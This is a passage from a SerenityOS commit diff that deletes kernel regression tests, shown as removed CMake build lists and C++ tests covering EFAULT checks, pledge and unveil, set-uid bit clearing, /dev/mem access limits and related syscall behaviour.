Tests: Remove tests for unused components

This commit is contained in:
Tim Ledbetter 2024-05-31 10:45:37 +01:00 committed by Andreas Kling
parent 44c8d42157
commit cc435e7a78
Notes: sideshowbarker 2024-07-17 08:27:05 +09:00
95 changed files with 0 additions and 10734 deletions

View file

@ -1,74 +0,0 @@
set(TEST_SOURCES
bind-local-socket-to-symlink.cpp
crash-fcntl-invalid-cmd.cpp
elf-execve-mmap-race.cpp
fuzz-syscalls.cpp
kill-pidtid-confusion.cpp
mmap-write-into-running-programs-executable-file.cpp
mprotect-multi-region-mprotect.cpp
munmap-multi-region-unmapping.cpp
nanosleep-race-outbuf-munmap.cpp
null-deref-close-during-select.cpp
null-deref-crash-during-pthread_join.cpp
path-resolution-race.cpp
pthread-cond-timedwait-example.cpp
setpgid-across-sessions-without-leader.cpp
siginfo-example.cpp
stress-truncate.cpp
stress-writeread.cpp
uaf-close-while-blocked-in-read.cpp
unveil-symlinks.cpp
)
if (NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "aarch64")
list(APPEND TEST_SOURCES elf-symbolication-kernel-read-exploit.cpp)
endif()
# FIXME: These tests do not use LibTest
foreach(source IN LISTS TEST_SOURCES)
get_filename_component(test_name "${source}" NAME_WE)
add_executable("${test_name}" "${source}")
target_link_libraries("${test_name}" PRIVATE LibCore)
serenity_set_implicit_links("${test_name}")
install(TARGETS "${test_name}" RUNTIME DESTINATION usr/Tests/Kernel/Legacy)
endforeach()
target_link_libraries(fuzz-syscalls PRIVATE LibSystem)
serenity_test("crash.cpp" Kernel MAIN_ALREADY_DEFINED)
set(LIBTEST_BASED_SOURCES
TestEmptyPrivateInodeVMObject.cpp
TestEmptySharedInodeVMObject.cpp
TestExt2FS.cpp
TestFileSystemDirentTypes.cpp
TestInvalidUIDSet.cpp
TestSharedInodeVMObject.cpp
TestPosixFallocate.cpp
TestPrivateInodeVMObject.cpp
TestKernelAlarm.cpp
TestKernelFilePermissions.cpp
TestKernelPledge.cpp
TestKernelUnveil.cpp
TestLoopDevice.cpp
TestMemoryDeviceMmap.cpp
TestMunMap.cpp
TestProcFS.cpp
TestProcFSWrite.cpp
TestSigAltStack.cpp
TestSigHandler.cpp
TestSigWait.cpp
TestTCPSocket.cpp
)
if (ENABLE_KERNEL_COVERAGE_COLLECTION)
list(APPEND LIBTEST_BASED_SOURCES TestKCOV.cpp)
endif()
if (NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "aarch64")
list(APPEND LIBTEST_BASED_SOURCES TestEFault.cpp)
endif()
foreach(libtest_source IN LISTS LIBTEST_BASED_SOURCES)
serenity_test("${libtest_source}" Kernel)
endforeach()

View file

@ -1,93 +0,0 @@
/*
* Copyright (c) 2018-2022, Andreas Kling <kling@serenityos.org>
* Copyright (c) 2021, Andrew Kaster <akaster@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Format.h>
#include <AK/Types.h>
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#define EXPECT_OK(syscall, address, size) \
do { \
errno = 0; \
rc = syscall(fd, (void*)(address), (size_t)(size)); \
EXPECT(rc >= 0); \
if (rc < 0) { \
warnln("Expected success: " #syscall "({:p}, {}), got rc={}, errno={}", (void*)(address), (size_t)(size), rc, errno); \
} \
} while (0)
#define EXPECT_EFAULT(syscall, address, size) \
do { \
errno = 0; \
rc = syscall(fd, (void*)(address), (size_t)(size)); \
EXPECT(rc < 0); \
EXPECT_EQ(errno, EFAULT); \
if (rc >= 0 || errno != EFAULT) { \
warnln("Expected EFAULT: " #syscall "({:p}, {}), got rc={}, errno={}", (void*)(address), (size_t)(size), rc, errno); \
} \
} while (0)
TEST_CASE(test_efault)
{
int fd = open("/dev/zero", O_RDONLY);
int rc = -1;
// Make an inaccessible hole before the next mapping.
(void)mmap(nullptr, 4096, PROT_NONE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
// Test a one-page mapping (4KB)
u8* one_page = (u8*)mmap(nullptr, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
VERIFY(one_page);
EXPECT_OK(read, one_page, 4096);
EXPECT_EFAULT(read, one_page, 4097);
EXPECT_EFAULT(read, one_page - 1, 4096);
// Make an unused hole mapping to create some inaccessible distance between our one and two-page mappings.
(void)mmap(nullptr, 16384, PROT_NONE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
// Test a two-page mapping (8KB)
u8* two_page = (u8*)mmap(nullptr, 8192, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
VERIFY(two_page);
EXPECT_OK(read, two_page, 4096);
EXPECT_OK(read, two_page + 4096, 4096);
EXPECT_OK(read, two_page, 8192);
EXPECT_OK(read, two_page + 4095, 4097);
EXPECT_OK(read, two_page + 1, 8191);
EXPECT_EFAULT(read, two_page, 8193);
EXPECT_EFAULT(read, two_page - 1, 1);
// Check validation of pages between the first and last address.
ptrdiff_t distance = two_page - one_page;
EXPECT_EFAULT(read, one_page, (u32)distance + 1024);
constexpr auto user_range_ceiling = (sizeof(void*) == 4 ? 0xbe000000u : 0x1ffe000000);
u8* jerk_page = nullptr;
// Test every kernel page just because.
constexpr auto kernel_range_ceiling = (sizeof(void*) == 4 ? 0xffffffffu : 0x203fffffff);
for (u64 kernel_address = user_range_ceiling; kernel_address <= kernel_range_ceiling; kernel_address += PAGE_SIZE) {
jerk_page = (u8*)mmap((void*)kernel_address, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
EXPECT_EQ(jerk_page, MAP_FAILED);
EXPECT_EQ(errno, EFAULT);
}
// Test the page just below where the user VM ends.
jerk_page = (u8*)mmap((void*)(user_range_ceiling - PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
EXPECT_EQ(jerk_page, (u8*)(user_range_ceiling - PAGE_SIZE));
EXPECT_OK(read, jerk_page, PAGE_SIZE);
EXPECT_EFAULT(read, jerk_page, PAGE_SIZE + 1);
// Test something that would wrap around the 2^32 mark.
EXPECT_EFAULT(read, jerk_page, 0x50000000);
}

View file

@ -1,39 +0,0 @@
/*
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
static u8* private_ptr = nullptr;
static void private_zero_length_inode_vmobject_sync_signal_handler(int)
{
auto rc = msync(private_ptr, 0x1000, MS_ASYNC);
EXPECT(rc == 0);
rc = munmap(private_ptr, 0x1000);
EXPECT(rc == 0);
exit(0);
}
TEST_CASE(private_zero_length_inode_vmobject_sync)
{
{
struct sigaction new_action {
{ private_zero_length_inode_vmobject_sync_signal_handler }, 0, 0
};
int rc = sigaction(SIGBUS, &new_action, nullptr);
VERIFY(rc == 0);
}
int fd = open("/tmp/private_msync_test", O_RDWR | O_CREAT, 0644);
VERIFY(fd >= 0);
private_ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
EXPECT(private_ptr != MAP_FAILED);
private_ptr[0] = 0x1;
VERIFY_NOT_REACHED();
}

View file

@ -1,39 +0,0 @@
/*
* Copyright (c) 2022, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
static u8* shared_ptr = nullptr;
static void shared_zero_length_inode_vmobject_sync_signal_handler(int)
{
auto rc = msync(shared_ptr, 0x1000, MS_ASYNC);
EXPECT(rc == 0);
rc = munmap(shared_ptr, 0x1000);
EXPECT(rc == 0);
exit(0);
}
TEST_CASE(shared_zero_length_inode_vmobject_sync)
{
{
struct sigaction new_action {
{ shared_zero_length_inode_vmobject_sync_signal_handler }, 0, 0
};
int rc = sigaction(SIGBUS, &new_action, nullptr);
VERIFY(rc == 0);
}
int fd = open("/tmp/shared_msync_test", O_RDWR | O_CREAT, 0644);
VERIFY(fd >= 0);
shared_ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
EXPECT(shared_ptr != MAP_FAILED);
shared_ptr[0] = 0x1;
VERIFY_NOT_REACHED();
}

View file

@ -1,31 +0,0 @@
/*
* Copyright (c) 2023, Tim Ledbetter <timledbetter@gmail.com>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <unistd.h>
TEST_CASE(test_uid_and_gid_high_bits_are_set)
{
static constexpr auto TEST_FILE_PATH = "/home/anon/.ext2_test";
auto uid = geteuid();
EXPECT_EQ(uid, 0u);
auto fd = open(TEST_FILE_PATH, O_CREAT);
auto cleanup_guard = ScopeGuard([&] {
close(fd);
unlink(TEST_FILE_PATH);
});
EXPECT_EQ(setuid(0), 0);
EXPECT_EQ(fchown(fd, 65536, 65536), 0);
struct stat st;
EXPECT_EQ(fstat(fd, &st), 0);
EXPECT_EQ(st.st_uid, 65536u);
EXPECT_EQ(st.st_gid, 65536u);
}

View file

@ -1,124 +0,0 @@
/*
* Copyright (c) 2024, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <Kernel/API/POSIX/dirent.h>
#include <LibTest/TestCase.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
TEST_CASE(test_sysfs_root_directory)
{
auto dirfd = open("/sys/", O_RDONLY | O_DIRECTORY);
auto cleanup_guard = ScopeGuard([&] {
close(dirfd);
});
DIR* dir = fdopendir(dirfd);
EXPECT(dir != nullptr);
auto cleanup_dir_guard = ScopeGuard([&] {
closedir(dir);
});
auto* _dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '.'
EXPECT_EQ(_dirent->d_type, DT_DIR);
_dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '..'
EXPECT_EQ(_dirent->d_type, DT_DIR);
while (true) {
_dirent = readdir(dir);
if (_dirent == nullptr)
break;
// NOTE: We should only see a directory entry in the /sys directory
EXPECT_EQ(_dirent->d_type, DT_DIR);
}
}
TEST_CASE(test_devpts_root_directory)
{
auto dirfd = open("/dev/pts/", O_RDONLY | O_DIRECTORY);
auto cleanup_guard = ScopeGuard([&] {
close(dirfd);
});
DIR* dir = fdopendir(dirfd);
EXPECT(dir != nullptr);
auto cleanup_dir_guard = ScopeGuard([&] {
closedir(dir);
});
auto* _dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '.'
EXPECT_EQ(_dirent->d_type, DT_DIR);
_dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '..'
EXPECT_EQ(_dirent->d_type, DT_DIR);
}
TEST_CASE(test_devloop_root_directory)
{
auto dirfd = open("/dev/loop/", O_RDONLY | O_DIRECTORY);
auto cleanup_guard = ScopeGuard([&] {
close(dirfd);
});
DIR* dir = fdopendir(dirfd);
EXPECT(dir != nullptr);
auto cleanup_dir_guard = ScopeGuard([&] {
closedir(dir);
});
auto* _dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '.'
EXPECT_EQ(_dirent->d_type, DT_DIR);
_dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '..'
EXPECT_EQ(_dirent->d_type, DT_DIR);
}
TEST_CASE(test_procfs_root_directory)
{
auto dirfd = open("/proc/", O_RDONLY | O_DIRECTORY);
auto cleanup_guard = ScopeGuard([&] {
close(dirfd);
});
DIR* dir = fdopendir(dirfd);
EXPECT(dir != nullptr);
auto cleanup_dir_guard = ScopeGuard([&] {
closedir(dir);
});
auto* _dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '.' now
EXPECT_EQ(_dirent->d_type, DT_DIR);
_dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see '..' now
EXPECT_EQ(_dirent->d_type, DT_DIR);
_dirent = readdir(dir);
EXPECT(_dirent != nullptr);
// NOTE: We should see 'self' now
EXPECT_EQ(_dirent->d_type, DT_LNK);
}

View file

@ -1,28 +0,0 @@
/*
* Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <unistd.h>
TEST_CASE(test_invalid_set_uid_parameters)
{
auto res = setuid(-1);
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = seteuid(-1);
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = setgid(-1);
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = setegid(-1);
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
}

View file

@ -1,84 +0,0 @@
/*
* Copyright (c) 2024, Space Meyer <git@the-space.agency>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <Kernel/API/kcov.h>
#include <Kernel/Sections.h>
#include <LibCore/System.h>
#include <LibMain/Main.h>
#include <LibTest/Macros.h>
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
// LibTests runs multithreaded, but KCOV is designed so that only one thread per process can
// open() the KCOV device at any given time. As a workaround we fork() before every test.
// In the child we then run the actual test. In the parent we wait for the child to exit
// and then exit the parent.
static void fork_and_kill_parent()
{
int pid = fork();
EXPECT(pid >= 0);
if (pid > 0) { // parent
int status;
waitpid(pid, &status, 0);
exit(EXIT_SUCCESS);
}
}
TEST_CASE(kcov_basic)
{
fork_and_kill_parent();
constexpr size_t num_entries = 1024 * 100;
int fd = TRY_OR_FAIL(Core::System::open("/dev/kcov"sv, O_RDWR));
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_SETBUFSIZE, num_entries));
kcov_pc_t* cover = (kcov_pc_t*)TRY_OR_FAIL(Core::System::mmap(NULL, num_entries * KCOV_ENTRY_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_ENABLE));
cover[0] = 0;
// Example syscall so we actually cover some kernel code.
getppid();
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_DISABLE));
u64 cov_idx = cover[0];
for (size_t idx = 1; idx <= cov_idx; idx++)
// If we enforced disable_kaslr, we could check if we actually covered addresses contained
// by getppid(). However that would make it harder to run this test. It's also not really
// required, as recording bogus PCs is not a common failure mode for KCOV in my experience.
ASSUME(cover[idx] > KERNEL_MAPPING_BASE);
// cover[0] contains the recorded PC count, followed by the recorded PCs. Let's make a
// conservative guess. We should record way more PCs, even for a simple getppid().
ASSUME(cover[0] > 10);
TRY_OR_FAIL(Core::System::munmap(const_cast<u64*>(cover), num_entries * KCOV_ENTRY_SIZE));
TRY_OR_FAIL(Core::System::close(fd));
}
BENCHMARK_CASE(kcov_loop)
{
fork_and_kill_parent();
constexpr int iterations = 100000;
constexpr size_t num_entries = 1024 * 100;
int fd = TRY_OR_FAIL(Core::System::open("/dev/kcov"sv, O_RDWR));
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_SETBUFSIZE, num_entries));
kcov_pc_t* cover = (kcov_pc_t*)TRY_OR_FAIL(Core::System::mmap(NULL, num_entries * KCOV_ENTRY_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0));
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_ENABLE));
cover[0] = 0;
for (size_t i = 0; i < iterations; ++i)
getppid();
TRY_OR_FAIL(Core::System::ioctl(fd, KCOV_DISABLE));
TRY_OR_FAIL(Core::System::munmap(const_cast<u64*>(cover), num_entries * KCOV_ENTRY_SIZE));
TRY_OR_FAIL(Core::System::close(fd));
}

View file

@ -1,74 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Atomic.h>
#include <AK/Time.h>
#include <LibCore/ElapsedTimer.h>
#include <LibTest/TestCase.h>
#include <signal.h>
#include <unistd.h>
class SuccessContext {
public:
static Atomic<bool> alarm_fired;
static Core::ElapsedTimer signal_timer;
static constexpr auto timer_value = Duration::from_seconds(1);
static void test_signal_handler(int signal)
{
auto actual_duration = SuccessContext::signal_timer.elapsed_time();
auto expected_duration = SuccessContext::timer_value;
// Add a small buffer to allow for latency on the system.
constexpr auto buffer_duration = Duration::from_milliseconds(50);
dbgln("Signal Times - Actual: {} Expected: {}", actual_duration.to_milliseconds(), expected_duration.to_milliseconds());
EXPECT(actual_duration >= expected_duration);
EXPECT(actual_duration < expected_duration + buffer_duration);
EXPECT_EQ(signal, SIGALRM);
SuccessContext::alarm_fired = true;
}
};
Atomic<bool> SuccessContext::alarm_fired { false };
Core::ElapsedTimer SuccessContext::signal_timer {};
TEST_CASE(success_case)
{
signal(SIGALRM, SuccessContext::test_signal_handler);
SuccessContext::signal_timer.start();
auto previous_time = alarm(SuccessContext::timer_value.to_seconds());
EXPECT_EQ(previous_time, 0u);
auto sleep_time = SuccessContext::timer_value + Duration::from_seconds(1);
sleep(sleep_time.to_seconds());
EXPECT(SuccessContext::alarm_fired);
}
// Regression test for issues #9071
// See: https://github.com/SerenityOS/serenity/issues/9071
TEST_CASE(regression_inifinite_loop)
{
constexpr auto hour_long_timer_value = Duration::from_seconds(60 * 60);
// Create an alarm timer significantly far into the future.
auto previous_time = alarm(hour_long_timer_value.to_seconds());
EXPECT_EQ(previous_time, 0u);
// Update the alarm with a zero value before the previous timer expires.
previous_time = alarm(0);
EXPECT_EQ(previous_time, hour_long_timer_value.to_seconds());
// Update the alarm with a zero value again, this shouldn't get stuck
// in an infinite loop trying to cancel the previous timer in the kernel.
previous_time = alarm(0);
EXPECT_EQ(previous_time, 0u);
}

View file

@ -1,100 +0,0 @@
/*
* Copyright (c) 2020-2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <LibFileSystem/FileSystem.h>
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
TEST_CASE(test_change_file_contents)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
char buffer[8] {};
write(fd, buffer, sizeof(buffer));
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_ownership)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
fchown(fd, getuid(), getgid());
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_permissions)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
fchmod(fd, 0755);
struct stat s;
EXPECT(fstat(fd, &s) != -1);
close(fd);
unlink(path);
EXPECT(!(s.st_mode & S_ISUID));
EXPECT(!(s.st_mode & S_ISGID));
}
TEST_CASE(test_change_file_location)
{
char path[] = "/tmp/suid.XXXXXX";
auto fd = mkstemp(path);
EXPECT(fd != -1);
ftruncate(fd, 0);
EXPECT(fchmod(fd, 06755) != -1);
auto suid_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
EXPECT(suid_path.characters());
auto new_path = ByteString::formatted("{}.renamed", suid_path);
rename(suid_path.characters(), new_path.characters());
struct stat s;
EXPECT(lstat(new_path.characters(), &s) != -1);
close(fd);
unlink(path);
// Renamed file should retain set-uid/set-gid permissions
EXPECT(s.st_mode & S_ISUID);
EXPECT(s.st_mode & S_ISGID);
unlink(new_path.characters());
}

View file

@ -1,57 +0,0 @@
/*
* Copyright (c) 2018-2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <LibTest/TestCase.h>
#include <errno.h>
#include <unistd.h>
TEST_CASE(test_nonexistent_pledge)
{
auto res = pledge("testing123", "notthere");
if (res >= 0)
FAIL("Pledging on existent promises should fail.");
}
TEST_CASE(test_pledge_argument_validation)
{
auto const long_argument = ByteString::repeated('a', 2048);
auto res = pledge(long_argument.characters(), "stdio");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, E2BIG);
res = pledge("stdio", long_argument.characters());
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, E2BIG);
res = pledge(long_argument.characters(), long_argument.characters());
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, E2BIG);
res = pledge("fake", "stdio");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = pledge("stdio", "fake");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
}
TEST_CASE(test_pledge_failures)
{
auto res = pledge("stdio unix rpath", "stdio");
if (res < 0)
FAIL("Initial pledge is expected to work.");
res = pledge("stdio unix", "stdio unix");
if (res >= 0)
FAIL("Additional execpromise \"unix\" should have failed");
res = pledge("stdio", "stdio");
if (res < 0)
FAIL("Reducing promises is expected to work.");
}

View file

@ -1,91 +0,0 @@
/*
* Copyright (c) 2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <unistd.h>
TEST_CASE(test_argument_validation)
{
auto res = unveil("/etc", "aaaaaaaaaaaa");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, E2BIG);
res = unveil("/etc", "aaaaa");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = unveil(nullptr, "r");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = unveil("/etc", nullptr);
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = unveil("", "r");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = unveil("test", "r");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
res = unveil("/etc", "f");
EXPECT_EQ(res, -1);
EXPECT_EQ(errno, EINVAL);
}
TEST_CASE(test_failures)
{
auto res = unveil("/etc", "r");
if (res < 0)
FAIL("unveil read only failed");
res = unveil("/etc", "w");
if (res >= 0)
FAIL("unveil write permitted after unveil read only");
res = unveil("/etc", "x");
if (res >= 0)
FAIL("unveil execute permitted after unveil read only");
res = unveil("/etc", "c");
if (res >= 0)
FAIL("unveil create permitted after unveil read only");
res = unveil("/tmp/doesnotexist", "c");
if (res < 0)
FAIL("unveil create on non-existent path failed");
res = unveil("/home", "b");
if (res < 0)
FAIL("unveil browse failed");
res = unveil("/home", "w");
if (res >= 0)
FAIL("unveil write permitted after unveil browse only");
res = unveil("/home", "x");
if (res >= 0)
FAIL("unveil execute permitted after unveil browse only");
res = unveil("/home", "c");
if (res >= 0)
FAIL("unveil create permitted after unveil browse only");
res = unveil(nullptr, nullptr);
if (res < 0)
FAIL("unveil state lock failed");
res = unveil("/bin", "w");
if (res >= 0)
FAIL("unveil permitted after unveil state locked");
res = access("/bin/id", F_OK);
if (res == 0)
FAIL("access(..., F_OK) permitted after locked veil without relevant unveil");
}

View file

@ -1,55 +0,0 @@
/*
* Copyright (c) 2024, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <AK/StringView.h>
#include <Kernel/API/Ioctl.h>
#include <LibTest/TestCase.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
static int open_loop_device(int loop_device_index)
{
auto loop_device_path = ByteString::formatted("/dev/loop/{}", loop_device_index);
return open(loop_device_path.view().characters_without_null_termination(), O_RDONLY);
}
TEST_CASE(create_attach_and_destory_loop_device)
{
constexpr char const* test_path = "/tmp/create_attach_and_destory_loop_device_test";
int devctl_fd = open("/dev/devctl", O_RDONLY);
VERIFY(devctl_fd >= 0);
auto cleanup_devctl_fd_guard = ScopeGuard([&] {
close(devctl_fd);
});
u8 buf[0x1000];
memset(buf, 0, sizeof(buf));
int fd = open(test_path, O_RDWR | O_CREAT, 0644);
VERIFY(fd >= 0);
auto cleanup_fd_guard = ScopeGuard([&] {
close(fd);
unlink(test_path);
});
auto rc = write(fd, buf, sizeof(buf));
VERIFY(rc == sizeof(buf));
int value = fd;
auto create_result = ioctl(devctl_fd, DEVCTL_CREATE_LOOP_DEVICE, &value);
EXPECT_EQ(create_result, 0);
auto loop_device_index = value;
auto loop_device_fd_or_error = open_loop_device(loop_device_index);
EXPECT(loop_device_fd_or_error >= 0);
auto cleanup_loop_device_fd_guard = ScopeGuard([&] {
close(loop_device_fd_or_error);
});
auto destroy_result = ioctl(devctl_fd, DEVCTL_DESTROY_LOOP_DEVICE, &loop_device_index);
EXPECT_EQ(destroy_result, 0);
}

View file

@ -1,108 +0,0 @@
/*
* Copyright (c) 2021, Liav A. <liavalb@hotmail.co.il>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <LibTest/TestCase.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
static u8 read_buffer[0x100000];
static ALWAYS_INLINE bool mem_chunk(int fd, u64 base, u64 length)
{
u64 mmoffset = base % sysconf(_SC_PAGESIZE);
void* mmp = mmap(NULL, mmoffset + length, PROT_READ, MAP_SHARED, fd, base - mmoffset);
if (mmp == MAP_FAILED)
return false;
if (munmap(mmp, mmoffset + length) < 0)
perror("munmap");
return true;
}
enum class ReadResult {
SeekFailure,
ReadFailure,
ReadSuccess,
};
static ALWAYS_INLINE ReadResult read_chunk(int fd, u64 base, u64 length)
{
VERIFY(length <= sizeof(read_buffer));
auto rs = lseek(fd, base, SEEK_SET);
if (rs < 0) {
fprintf(stderr, "Couldn't seek to offset %" PRIi64 " while verifying: %s\n", base, strerror(errno));
return ReadResult::SeekFailure;
}
if (read(fd, read_buffer, length) < 0)
return ReadResult::ReadFailure;
return ReadResult::ReadSuccess;
}
TEST_CASE(test_memory_access_device_read)
{
int rc = geteuid();
EXPECT_EQ(rc, 0);
int fd = open("/dev/mem", O_RDONLY);
EXPECT(fd >= 0);
// FIXME: This is expected to work on QEMU machines (both 440FX and Q35),
// however, it will be much nicer to have some sort of a node in the ProcFS
// to expose physical memory ranges (e820 memory map).
auto read_result = read_chunk(fd, 0x0, 0x100000);
EXPECT_EQ(read_result, ReadResult::ReadFailure);
read_result = read_chunk(fd, 0xe0000, 0x100000 - 0xe0000);
EXPECT_EQ(read_result, ReadResult::ReadSuccess);
read_result = read_chunk(fd, 0x100000, 0x200000 - 0x100000);
EXPECT_EQ(read_result, ReadResult::ReadFailure);
read_result = read_chunk(fd, 0xf0000, 70000);
EXPECT_EQ(read_result, ReadResult::ReadFailure);
read_result = read_chunk(fd, 0xfffc0000, 16384);
EXPECT_EQ(read_result, ReadResult::ReadSuccess);
read_result = read_chunk(fd, 0xfffc0000, 0x100000);
EXPECT_EQ(read_result, ReadResult::ReadFailure);
}
TEST_CASE(test_memory_access_device_mmap)
{
int rc = geteuid();
EXPECT_EQ(rc, 0);
int fd = open("/dev/mem", O_RDONLY);
EXPECT(fd >= 0);
// FIXME: This is expected to work on QEMU machines (both 440FX and Q35),
// however, it will be much nicer to have some sort of a node in the ProcFS
// to expose physical memory ranges (e820 memory map).
auto mmap_result = mem_chunk(fd, 0xe0000, 0x100000 - 0xe0000);
EXPECT_EQ(mmap_result, true);
mmap_result = mem_chunk(fd, 0x100000, 0x200000 - 0x100000);
EXPECT_EQ(mmap_result, false);
mmap_result = mem_chunk(fd, 0xf0000, 70000);
EXPECT_EQ(mmap_result, false);
mmap_result = mem_chunk(fd, 0xfffc0000, 16384);
EXPECT_EQ(mmap_result, true);
mmap_result = mem_chunk(fd, 0xfffc0000, 0x100000);
EXPECT_EQ(mmap_result, false);
}

View file

@ -1,16 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <errno.h>
#include <sys/mman.h>
TEST_CASE(munmap_zero_page)
{
// munmap of the unmapped zero page should always "succeed".
auto res = munmap(0x0, 0xF);
EXPECT_EQ(res, 0);
}

View file

@ -1,74 +0,0 @@
/*
* Copyright (c) 2022, Andreas Kling <kling@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibCore/System.h>
#include <LibTest/TestCase.h>
TEST_CASE(posix_fallocate_basics)
{
char pattern[] = "/tmp/posix_fallocate.XXXXXX";
auto fd = MUST(Core::System::mkstemp(pattern));
VERIFY(fd >= 0);
{
// Valid use, grows file to new size.
auto result = Core::System::posix_fallocate(fd, 0, 1024);
EXPECT_EQ(result.is_error(), false);
auto stat = MUST(Core::System::fstat(fd));
EXPECT_EQ(stat.st_size, 1024);
}
{
// Invalid fd (-1)
